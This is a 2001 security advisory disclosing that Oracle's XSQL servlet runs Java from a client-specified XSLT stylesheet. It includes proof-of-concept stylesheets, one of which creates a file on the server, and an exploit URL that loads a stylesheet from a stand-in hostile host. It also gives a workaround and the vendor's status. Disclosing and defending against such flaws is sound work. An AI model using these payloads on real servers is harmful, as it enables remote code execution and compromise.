| Georgi Guninski security advisory #34, 2001
Oracle XSQL servlet and xml-stylesheet allow executing java on the web server
Systems affected:
Oracle XSQL servlet, installed by default Oracle 8.1.7 Windows 2000installation,
probably other versions/platforms are affected because the servlet
is written in java
Risk: High
Date: 9 January 2001
Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified.
You may not modify it and distribute it or distribute parts of it without
the author's written permission.
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or indirect
use of the information or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory
or program or any derivatives thereof.
Description:
To get an idea for the XSQL servlet I suggest reading: http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm
The XSQL servlet allows specifying external xslt stylesheets which
may reside anywhere.
The problem is it is possible to execute java on the web server in
the xslt stylesheet.
Executing java on the web server may lead to compromising it.
Details:
Oracle allows extensions to the built in xslt functions using the xmlns
"http://www.oracle.com/XSL/Transform/java/".
Using this namespace it is possible to instantiate java objects and
execute their methods.
Sample xslt stylesheets:
--ora.xsl---string function, almost no effect---------------
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String"
version="1.0">
<xsl:template match="/">
<html>
<h2>
Written by <A HREF="http://www.guninski.com">Georgi Guninski</A>
<BR>
</BR>
Java demo.
<xsl:variable name="str1" select="jstr:new('java on the server')"
/>
<xsl:value-of select="jstr:toUpperCase($str1)" />
</h2>
</html>
</xsl:template>
</xsl:stylesheet>
------------------------------------------------------------
--ora2.xsl----creates a file -------------------------------
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File" version="1.0">
<xsl:template match="/">
<html>
<h2>
Written by <A HREF="http://www.guninski.com">Georgi Guninski</A>
<BR>
</BR>
File "c:\winnt\georgigjava" created=
<xsl:variable name="r1" select="jstr:new('c:\\winnt\\georgigjava')"
/>
<xsl:value-of select="jstr:createNewFile($r1)" />
</h2>
</html>
</xsl:template>
</xsl:stylesheet>
-----------------------------------------------------------
Assuming that http://XSQL-SERVER/EXISTING.xsql exists and is configured
(there are installed
.xsql demos in /xsql/java/demo/), the following URL:
----------------------------------------------------------------------
http://XSQL-SERVER/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl
----------------------------------------------------------------------
will execute java from http://HOSTILE/ora.xsl (see example stylesheets
above) on XSQL-SERVER.
This work on default Oracle 8.1.7 install, I only needed to adjust the
database name in the servlet config file.
Workaround:
Add 'allow-client-style="no"' on the document element of every xsql
page.
I think this should be the default behavior.
Vendor status:
Oracle was contacted on 4 January 2001.
They responded very promptly and shall issue a patch "over the next
few days" |
